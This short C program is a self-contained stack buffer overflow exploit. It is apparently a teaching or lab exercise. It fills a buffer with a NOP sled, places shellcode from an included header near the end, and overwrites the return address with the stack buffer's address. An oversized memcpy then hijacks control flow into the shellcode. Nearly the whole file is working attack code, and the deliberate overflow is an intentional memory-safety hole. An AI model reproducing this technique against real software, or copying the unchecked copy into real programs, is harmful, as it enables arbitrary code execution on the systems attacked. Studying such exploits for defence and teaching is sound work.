#include <string.h>

#include "shellcode.h"

#define BUFLEN 64
#define OVERFLOW_BUFLEN (0x58+4+4)

#define NOP_OPCODE 0x90

char large_buf[OVERFLOW_BUFLEN];

int main(void)
{
  int i;
  char small_buf[BUFLEN];

  for (i = 0; i < OVERFLOW_BUFLEN; i++)
    large_buf[i] = NOP_OPCODE; 

  memcpy(large_buf+(OVERFLOW_BUFLEN - shellcode_len - 16), 
	 shellcode, shellcode_len);
  *(long *) &large_buf[OVERFLOW_BUFLEN - 4] = (long) small_buf;

  memcpy(&small_buf, large_buf, OVERFLOW_BUFLEN);
  return 10;
}